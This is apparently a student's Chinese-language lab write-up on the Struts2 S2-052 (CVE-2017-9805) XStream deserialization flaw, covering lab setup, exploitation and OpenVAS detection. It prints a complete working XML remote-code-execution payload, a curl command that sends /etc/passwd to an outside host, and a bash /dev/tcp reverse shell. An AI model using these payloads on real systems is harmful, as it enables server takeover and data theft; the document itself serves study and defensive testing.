Struts2-052漏洞学习
了解漏洞
Struts是什么？
Struts是一个特别常用的开源web框架，用于扩展JAVA Servlet API并使用了模型（M），视图（V），控制（C）体系结构。使用这个框架，我们可以用各种标准技术（如 JSP、JavaBeans、XML等）创建可维护、可扩展并且灵活的 Web 应用程序。可以说用struts来开发java web应用程序是很简单，但是效率又很高。
之后，Struts的Java EE Web框架的团体，决定合作共同开发一个新的，整合了WebWork与Struts优点，并且更加优雅、扩展性更强的框架，命名为“Struts 2”，原Struts的1.x版本产品称为“Struts 1”。Struts项目并行提供与维护两个主要版本的框架产品——Struts 1与Struts 2。所以struts项目的两个产品就是 struts1和struts 2。
维基百科：“它通过采用Java Servlet／JSP技术，实现了基于Java EE Web应用的Model-View-Controller（MVC）设计模式的应用框架，是MVC经典设计模式中的一个经典产品。”
使用 Struts 时，此框架将为您提供一个控制器 Servlet (ActionServlet)，它在 IDE 中包含的 Struts 库中定义，并自动在 web.xml 部署描述符中注册，就下面这个：
该控制器 Servlet 使用 struts-config.xml 文件将传入请求映射到 Struts Action 对象，并实例化与暂时存储窗体数据的操作相关联的任何 ActionForm 对象。Action 对象在使用窗体 Bean 中存储的任何数据的同时，使用其 execute 方法处理请求。一旦 Action 对象处理了请求，它就将存储任何新数据（即，存储在窗体 Bean 或单独的结果 Bean 中），并将结果转发到相应的视图中。
Struts2-052是什么漏洞？
s2-052漏洞是当用户使用带有XStream组件的Struts-REST插件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验证，可直接在数据包中插入恶意代码。导致攻击者可以构造恶意xml payload导致RCE（远程代码执行）。
相对于之前struts2爆出来的漏洞来说，s_052漏洞危害稍微小一些，因为利用环境比较苛刻，需要使用Struts2 REST插件的XStream组件。
· 漏洞描述：Struts2 REST插件的XStream组件存在反序列化漏洞，使用XStream组件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验证，存在安全隐患，可被远程攻击。
· 漏洞编号：CVE-2017-9805
· 漏洞作者：lgtm.com的安全研究员
· 影响版本：Version 2.5.0 to 2.5.12 和 Version 2.3.0 to 2.3.33
· 漏洞等级：高危
分析漏洞原理
struct2-052漏洞产生的原因是什么？
这个漏洞触发点是REST插件在解析请求中的xml文件时，调用了XStreamHandler，传入的数据会被默认进行反序列化，进行反序列化操作时，未对数据内容进行有效验证，可直接在数据包中插入恶意代码，如果当传入的xml是个经过XStream序列化的恶意对象时，便造成反序列化漏洞。
其实简单来说原因有两个：一个是 Struts2 REST插件(struts2-rest-plugin-2.x.jar)本身没有对进入的数据进行安全检查，导致攻击者可以传入恶意的xml对象可以传入到XStream里。另一个是XStream在反序列化传入的xml造成的远程代码执行。
一个系统存在这个漏洞会导致什么后果？
当使用带有XStream处理程序的Struts REST插件来处理XML有效负载时，可能会发生远程执行代码攻击。这会使攻击者可以通过任意恶意代码来接管服务器，获取服务器的权限。比如说执行一些eyi代，把木马文件写入服务器的主目录！写入主目录，这很可怕，写入小马之后获取权限。最后导致服务器被攻击者控制，造成信息泄露等，甚至攻击者利用服务器进行其他非法操作，利用该服务器攻击等。
漏洞的重现和利用
下载java并配置环境
这个应该很多朋友都做过，所以我也很早都已经配置好了，所以展示一下代码和配置环境变量的操作：
$ yum install java*jdk*devel* //使用模糊匹配，搜索然后下载指定版本的
$ //下载搜索到的最新的
$ //这样的话就不用进行环境变量配置了
还可以直接去sun网站上下载java然后手动安装，但需要修改环境变量。在/etc/profile.d/文件夹下添加一个java.sh文件，或者修改/etc/profile文件，两种方式都在文件中添加入java的classpath和path，然后输入命令：source /etc/profile，即可使配置生效。
下载tomcat并配置
执行命令：
$ sudo dnf install tomcat
$ systemctl start tomcat
然后需要在 /usr/share/tomcat/webapps目录下创建一个目录为ROOT（必须大写），然后访问127.0.0.1:8080便可以访问，但是因为里面是空的所以显示404，但是可以看到tomcat服务器信息：
最好是去官网下载对应的版本的tomcat的提示成功页面，网上下载后把下载的包里的webapps文件夹导入到虚拟机中的webapps目录就行。如果像我这样虽然tomcat成功配置了但是很可能导致后面openvas无法扫描到漏洞。官网下载对应版本的地址：http://tomcat.apache.org/，网站左边可以选择对应版本下载
配置文件在 /etc/tomcat/tomcat.conf
下载存在漏洞的struct2框架版本
去官网下载该漏洞影响的最后一个版本的struts2框架，struts-2.5.12，然后解压后将apps目录下的struts2-rest-showcase.war和struts2-showcase.war文件放到webapps目录下（/Library/Tomcat/webapps）重启tomcat后访问：
http://127.0.0.1:8080/struts2-rest-showcase/
可以看到已经搭建成功了。但是我进行操作时比如点击用户后的view进行操作时跳转404，经过测试只有切换成root用户之间登录fedora后才能进行操作。
生成攻击payload
在操作页面编辑后点击submit，然后使用firefox编辑重发：
将消息头中更改：
执行命令：
$ Content-Type: application/xml
更改request body为：
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/test</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
Body内容中的意思是在在tmp文件夹下面生成一个test文件。编辑重发后到指定目录检查：
成功生成了test文件；说明远程代码执行成功。验证了可以远程执行代码（RCE）攻击。
使用burpsuite进行截包重发，查看结果
首先下载安装bp：
$ wget http://labfile.oss.aliyuncs.com/courses/726/burpsuite_free.jar
打开：
$ /usr/bin/java -Xmx2g -jar burpsuite_free.jar
设置firefox代理127.0.0.1:8080
注意firefox设置代理时要把下面的localhost和127.0.01关掉。
bp监听127.0.0.0:8080，如果点不了就是端口冲突，被占用了，换端口就行
然后进行抓包重发：
更改headers中更改Content-Type: application/xml
并将body中的更改为payload：
我重新发送的远程执行代码是要在/tmp下新建一个vuln文件。
Payload：
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/vuln</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
执行后去指定文件夹查看：
可以看到payload执行成功。
Payload的大概规则
在网上寻找了如何写payload的大概规则：
<command>
<string>touch /tmp/test.txt</string>
</command>
比如上面这样的是不会执行的，如果远程执行的命令有空格则需要用string进行转换
<command>
<string>echo</string>
<string>abc</string>
<string>></string>
<string>/tmp/abc</string>
</command>
这样也是不行的，应该是不支持重定向符号>，管道符 | 应该也不支持。
下面看看一些成功的例子：
<command>
<string>cp</string>
<string>/etc/passwd</string>
<string>/tmp/passwd</string>
</command>
或者
<command>
<string>curl</string>
<string>-F</string>
<string>value=@/etc/passwd</string>
<string> http://x.x.x.x/ </string>
</command>
curl命令执行可以成功，注意第三行<sting>的值不能有双引号，否则失败。
读取文件：
<command>
<string>curl</string>
<string>-F</string>
<string>value=@/etc/passwd</string>
<string> http://x.x.x.x/ </string>
</command>
通过在服务端http://x.x.x.x/抓包，发现/etc/passwd被post了过来。
尝试反弹shell
首先尝试bash –c这个命令：
<command>
<string>bash</string>
<string>-c</string>
<string>touch /tmp/abc.txt</string>
</command>
利用firefox抓包重发后，返回500：
我们进入指定文件夹看看有没有写入成功：
成功写入，说明了bush 命令可以执行。
使用重定向符号>创建任意文件
<command>
<string>bash</string>
<string>-c</string>
<string>echo abcd >/tmp/abcd.txt</string>
</command>
进入查看：
成功！
可以把ip addr的命令执行结果输出到/tmp/ip.txt
<command>
<string>bash</string>
<string>-c</string>
<string>ip addr >/tmp/ip.txt</string>
</command>
查看：
成功，查看一下写入情况：
全部导出了得到了！
下面开始尝试反弹shell，利用下面的命令：（&要转换成&）:
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/192.168.72.141/22222 0>&1</string>
</command>
在firefox编辑重发之前先要监听一个端口：
$ nc –lvvp 22222 //port
Firefox编辑重发后，上面填的是攻击方的ip和端口号就可以连接啦！：
成功反弹shell！
试分析如果公司服务器存在这种漏洞，会对公司有什么影响？
我们尝试了可以远程执行命令成功，结合我们上个实验，如果我们写入一个木马到目标用户的指定路径下，则可进行进一步的攻击操作。比如写入反弹shell等等。攻击者可以进行各种操作从而获取服务器的给权限，并生成后门。便可进行一些非法操作，给公司造成包括信息泄露在内的巨大损失。
使用openvas对该存在的漏洞系统进行扫描
查看扫描结果，是否能得到对该漏洞的报告？
我们分别点开进入扫到了两个tomcat分析看到应该是第二个是对应的struts2-052漏洞，会导致远程代码执行漏洞：
在博主之前的博客说过如何查找nvt对应的文件，所以这里就不说了。
源码分析：
首先源码的前一段是输出了漏洞的信息，然后
这边是提供下面所要调用的函数。
这里是定义一些参数获取端口号已经利用函数get_kb_list对传参进行测试。然后根据然后判断存不存在漏洞。
对端口进行尝试连接，连不上则退出。
接着进行系统测试。判断是什么系统。然后获取host的名字。
下面定义了一个参数data，就是我们使用的payload。就是需要改包在body里面的东西。
截止对调用url利用struts2的指定目录进行测试，发送请求，接受请求，然后对返回的请求进行检测。
对返回进行检测。如果不存在漏洞则退出。If中一个条件是收到返回，另一个条件是windows或者linux主机判断成功。
一些问题
这次遇到的最主要的问题就是在扫描是发现扫不出tomcat的远程执行漏洞。主要是两个问题。一个是我没有将struts2-showcase导入的tomcat的指定目录下，因为struts2-rest-showcase是用于我们测试，而nasl脚本测试的则是struts2-showcase。另一个则是没有下载官网提供的对应版本的webapps的文件。解决这两个问题之后就成功扫出来了。
在反射shell时要注意一点要在攻击机上先监听端口。
